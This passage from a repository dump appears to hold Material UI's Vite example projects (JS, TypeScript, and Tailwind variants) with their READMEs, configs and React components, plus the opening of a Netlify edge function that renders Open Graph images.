},\n        },\n      });\n\n      function LightBulbIcon(props) {\n        return (\n          <SvgIcon {...props}>\n            <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n          </SvgIcon>\n        );\n      }\n\n      function ProTip() {\n        return (\n          <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n            <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n            {'Pro tip: See more '}\n            <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n            {' in the Material UI documentation.'}\n          </Typography>\n        );\n      }\n\n      function Copyright() {\n        return (\n          <Typography variant=\"body2\" color=\"text.secondary\" align=\"center\">\n            {'Copyright © '}\n            <Link color=\"inherit\" href=\"https://mui.com/\">\n              Your Website\n            </Link>{' '}\n            {new Date().getFullYear()}\n            {'.'}\n          </Typography>\n        );\n      }\n\n      function App() {\n        return (\n          <Container maxWidth=\"sm\">\n            <Box sx={{ my: 4 }}>\n              <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n                Material UI CDN example\n              </Typography>\n              <ProTip />\n              <Copyright />\n            </Box>\n          </Container>\n        );\n      }\n\n      const root = createRoot(document.getElementById('root'));\n      root.render(\n        <ThemeProvider theme={theme}>\n          {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n          <CssBaseline />\n          <App />\n        </ThemeProvider>,\n      );\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-vite/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\nnode_modules\n\n# misc\n.DS_Store\ndist\ndist-ssr\n*.local"
  },
  {
    "path": "examples/material-ui-vite/README.md",
    "content": "# Material UI - Vite.js example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2 material-ui-master/examples/material-ui-vite\ncd material-ui-vite\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-vite)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-vite)\n\n## The idea behind the example\n\nThis example uses [Vite.js](https://github.com/vitejs/vite).\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-vite/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"/vite.svg\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n    <title>Vite + Material UI</title>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.jsx\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-vite/package.json",
    "content": "{\n  \"name\": \"material-ui-vite\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"vite build\",\n    \"serve\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@vitejs/plugin-react\": \"latest\",\n    \"vite\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-vite/src/App.jsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport ProTip from './ProTip';\nimport Copyright from './Copyright';\n\nexport default function App() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Vite.js example\n        </Typography>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite/src/Copyright.jsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite/src/ProTip.jsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite/src/main.jsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport { ThemeProvider } from '@mui/material/styles';\nimport App from './App';\nimport theme from './theme';\n\nconst rootElement = document.getElementById('root');\nconst root = ReactDOM.createRoot(rootElement);\n\nroot.render(\n  <React.StrictMode>\n    <ThemeProvider theme={theme}>\n      {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n      <CssBaseline />\n      <App />\n    </ThemeProvider>\n  </React.StrictMode>,\n);\n"
  },
  {
    "path": "examples/material-ui-vite/src/theme.js",
    "content": "import { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-vite/vite.config.js",
    "content": "import { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\n\n// https://vite.dev/config/\nexport default defineConfig({\n  plugins: [react()],\n});\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/.gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\npnpm-debug.log*\nlerna-debug.log*\n\nnode_modules\ndist\ndist-ssr\n*.local\n\n# Editor directories and files\n.vscode/*\n!.vscode/extensions.json\n.idea\n.DS_Store\n*.suo\n*.ntvs*\n*.njsproj\n*.sln\n*.sw?\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/README.md",
    "content": "# Material UI - Vite example with Tailwind CSS in TypeScript\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2 material-ui-master/examples/material-ui-vite-tailwind-ts\ncd material-ui-vite-tailwind-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-vite-tailwind-ts)\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-vite-tailwind-ts)\n\n## The idea behind the example\n\nThis example demonstrates how you can use [Tailwind CSS](https://tailwindcss.com/) and [Vite](https://github.com/vitejs/vite) together with Material UI.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"/vite.svg\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <title>Vite + Material UI + TS + Tailwind CSS</title>\n    <!-- Fonts to support Material Design -->\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.tsx\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-vite-tailwind-ts\",\n  \"private\": true,\n  \"version\": \"7.0.0\",\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"tsc -b && vite build\",\n    \"lint\": \"eslint .\",\n    \"preview\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/material\": \"next\",\n    \"@tailwindcss/vite\": \"latest\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\",\n    \"tailwindcss\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"@vitejs/plugin-react\": \"latest\",\n    \"typescript\": \"latest\",\n    \"vite\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/App.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport Slider from '@mui/material/Slider';\nimport PopoverMenu from './PopoverMenu';\nimport ProTip from './ProTip';\n\nfunction Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typography>\n  );\n}\n\nexport default function App() {\n  return (\n    <Container maxWidth=\"sm\">\n      <div className=\"my-4\">\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Vite example with Tailwind CSS in TypeScript\n        </Typography>\n        <Slider\n          className=\"my-4\"\n          defaultValue={30}\n          classes={{ active: 'shadow-none' }}\n          slotProps={{ thumb: { className: 'hover:shadow-none' } }}\n        />\n        <PopoverMenu />\n        <ProTip />\n        <Copyright />\n      </div>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/PopoverMenu.tsx",
    "content": "import { Button, Menu, MenuItem } from '@mui/material';\nimport * as React from 'react';\n\nexport default function PopoverMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <React.Fragment>\n      <Button\n        id=\"basic-button\"\n        aria-controls={open ? 'basic-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Popover Menu\n      </Button>\n      <Menu\n        id=\"basic-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        MenuListProps={{\n          'aria-labelledby': 'basic-button',\n        }}\n      >\n        <MenuItem onClick={handleClose} className=\"py-2\">\n          Small Item\n        </MenuItem>\n        <MenuItem onClick={handleClose} className=\"py-8\">\n          Large Item\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/index.css",
    "content": "@import 'tailwindcss';\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/main.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport './index.css';\nimport App from './App.tsx';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <App />\n  </React.StrictMode>,\n);\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/src/vite-env.d.ts",
    "content": "/// <reference types=\"vite/client\" />\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/tsconfig.app.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.app.tsbuildinfo\",\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"src\"]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/tsconfig.json",
    "content": "{\n  \"files\": [],\n  \"references\": [{ \"path\": \"./tsconfig.app.json\" }, { \"path\": \"./tsconfig.node.json\" }]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/tsconfig.node.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.node.tsbuildinfo\",\n    \"target\": \"ES2022\",\n    \"lib\": [\"ES2023\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-tailwind-ts/vite.config.ts",
    "content": "import { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\nimport tailwindcss from '@tailwindcss/vite';\n\n// https://vite.dev/config/\nexport default defineConfig({\n  plugins: [react(), tailwindcss()],\n});\n"
  },
  {
    "path": "examples/material-ui-vite-ts/.gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\npnpm-debug.log*\nlerna-debug.log*\n\nnode_modules\ndist\ndist-ssr\n*.local\n\n# Editor directories and files\n.vscode/*\n!.vscode/extensions.json\n.idea\n.DS_Store\n*.suo\n*.ntvs*\n*.njsproj\n*.sln\n*.sw?\n"
  },
  {
    "path": "examples/material-ui-vite-ts/README.md",
    "content": "# Material UI - Vite example in TypeScript\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2 material-ui-master/examples/material-ui-vite-ts\ncd material-ui-vite-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-vite-ts)\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-vite-ts)\n\n## The idea behind the example\n\n<!-- #host-reference -->\n\nThis example demonstrates how you can use Material UI with [Vite](https://vite.dev) in [TypeScript](https://github.com/Microsoft/TypeScript).\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-vite-ts/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"/vite.svg\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link\n      rel=\"stylesheet\"\n      href=\"https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap\"\n    />\n    <title>Vite + Material UI + TS</title>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script type=\"module\" src=\"/src/main.tsx\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "examples/material-ui-vite-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-vite-ts\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"type\": \"module\",\n  \"scripts\": {\n    \"dev\": \"vite\",\n    \"build\": \"tsc -b && vite build\",\n    \"preview\": \"vite preview\"\n  },\n  \"dependencies\": {\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"react\": \"latest\",\n    \"react-dom\": \"latest\"\n  },\n  \"devDependencies\": {\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"@vitejs/plugin-react\": \"latest\",\n    \"typescript\": \"latest\",\n    \"vite\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/src/App.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Link from '@mui/material/Link';\nimport ProTip from './ProTip';\n\nfunction Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n\nexport default function App() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI Vite example in TypeScript\n        </Typography>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/src/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/src/main.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport App from './App.tsx';\n\nReactDOM.createRoot(document.getElementById('root')!).render(\n  <React.StrictMode>\n    <App />\n  </React.StrictMode>,\n);\n"
  },
  {
    "path": "examples/material-ui-vite-ts/src/vite-env.d.ts",
    "content": "/// <reference types=\"vite/client\" />\n"
  },
  {
    "path": "examples/material-ui-vite-ts/tsconfig.app.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.app.tsbuildinfo\",\n    \"target\": \"ES2020\",\n    \"useDefineForClassFields\": true,\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsx\",\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"src\"]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/tsconfig.json",
    "content": "{\n  \"files\": [],\n  \"references\": [{ \"path\": \"./tsconfig.app.json\" }, { \"path\": \"./tsconfig.node.json\" }]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/tsconfig.node.json",
    "content": "{\n  \"compilerOptions\": {\n    \"tsBuildInfoFile\": \"./node_modules/.tmp/tsconfig.node.tsbuildinfo\",\n    \"target\": \"ES2022\",\n    \"lib\": [\"ES2023\"],\n    \"module\": \"ESNext\",\n    \"skipLibCheck\": true,\n\n    /* Bundler mode */\n    \"moduleResolution\": \"bundler\",\n    \"allowImportingTsExtensions\": true,\n    \"isolatedModules\": true,\n    \"moduleDetection\": \"force\",\n    \"noEmit\": true,\n\n    /* Linting */\n    \"strict\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"noFallthroughCasesInSwitch\": true,\n    \"noUncheckedSideEffectImports\": true\n  },\n  \"include\": [\"vite.config.ts\"]\n}\n"
  },
  {
    "path": "examples/material-ui-vite-ts/vite.config.ts",
    "content": "import { defineConfig } from 'vite';\nimport react from '@vitejs/plugin-react';\n\n// https://vite.dev/config/\nexport default defineConfig({\n  plugins: [react()],\n});\n"
  },
  {
    "path": "lerna.json",
    "content": "{\n  \"$schema\": \"node_modules/lerna/schemas/lerna-schema.json\",\n  \"npmClient\": \"pnpm\",\n  \"version\": \"independent\"\n}\n"
  },
  {
    "path": "netlify/edge-functions/og-image.tsx",
    "content": "import React from 'https://esm.sh/react@18.2.0';\n// eslint-disable-next-line import/extensions\nimport { ImageResponse } from 'https://deno.land/x/og_edge/mod.ts';\n\nconst MAX_AUTHORS = 5;\nexport default async function handler(req: Request) {\n  const params = new URL(req.url).searchParams;\n  const title = params.get('title');\n  const authors = params.get('authors');\n  const product = params.get('product');\n  const description = params.get('description');\n\n  const parsedAuthors =\n    authors &&\n    authors\n      .split(',')\n      .map((author) => {\n        const [name, github] = author.split('@');\n        return { name: name.trim(), github: github.trim() };\n      })\n      .filter(({ name, github }) => name && github);\n\n  const withAuthors = parsedAuthors && parsedAuthors.length > 0;\n  let starCount = 0;\n\n  return new ImageResponse(\n    <div\n      style={{\n        width: '100%',\n        height: '100%',\n        background: 'linear-gradient(180deg, #FFFFFF 0%, #F0F7FF 75.52%)',\n        overflow: 'hidden',\n        position: 'relative',\n        display: 'flex',\n      }}\n    >\n      <div\n        style={{\n          marginTop: 100,\n          marginLeft: 100,\n          marginRight: 100,\n          marginBottom: 100,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'space-between',\n        }}\n      >\n        <div\n          style={{\n            height: 40,\n            display: 'flex',\n            flexDirection: 'row',\n            alignItems: 'center',\n          }}\n        >\n          <svg width=\"45\" height=\"40\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n            <path\n              d=\"M15.618 8.779 1.566.551a.625.625 0 0 0-.941.54v20.972c0 .659.346 1.27.91 1.608l4.393 2.636c.417.25.947-.05.947-.536V11.683a.25.25 0 0 1 .375-.217l8.376 4.826a1.25 1.25 0 0 0 1.248 0l8.376-4.829a.25.25 0 0 1 .375.217v7.62c0 .435-.226.838-.596 1.066l-7.856 4.82a.625.625 0 0 0-.298.533v7.046c0 .223.119.429.312.54l10.925 6.326c.394.228.88.224 1.27-.01l14.386-8.632a1.25 1.25 0 0 0 .607-1.072V16.104a.625.625 0 0 0-.947-.536l-4.696 2.818a1.25 1.25 0 0 0-.607 1.072v7.063c0 .22-.115.423-.303.536l-8.484 5.09a1.25 1.25 0 0 1-1.202.046L22.5 29.375l8.768-5.26a1.25 1.25 0 0 0 .607-1.073V1.09a.625.625 0 0 0-.94-.54L16.881 8.78a1.25 1.25 0 0 1-1.264 0Z\"\n              fill=\"#007FFF\"\n            />\n            <path\n              d=\"M44.375 1.104v6.938c0 .44-.23.846-.607 1.072l-4.696 2.818a.625.625 0 0 1-.947-.536V4.458c0-.44.23-.846.607-1.072L43.428.568c.417-.25.947.05.947.536Z\"\n              fill=\"#007FFF\"\n            />\n          </svg>\n          <div\n            style={{\n              height: 40,\n              width: 2,\n              backgroundColor: '#DAE2ED',\n              margin: '0 24px',\n            }}\n          />\n          <p\n            style={{\n              fontFamily: 'General Sans',\n              fontSize: '24px',\n              fontWeight: 600,\n              lineHeight: '40px',\n              letterSpacing: 1,\n              color: '#007FFF',\n            }}\n          >\n            {product}\n          </p>\n        </div>\n        <div\n          style={{\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'center',\n            textAlign: 'left',\n          }}\n        >\n          {title &&\n            title.split('\\\\n').map((line) => (\n              <p\n                style={{\n                  margin: 0,\n                  flexWrap: 'wrap',\n                  fontFamily: 'General Sans',\n                  fontStyle: 'normal',\n                  fontWeight: 600,\n                  fontSize: '72px',\n                  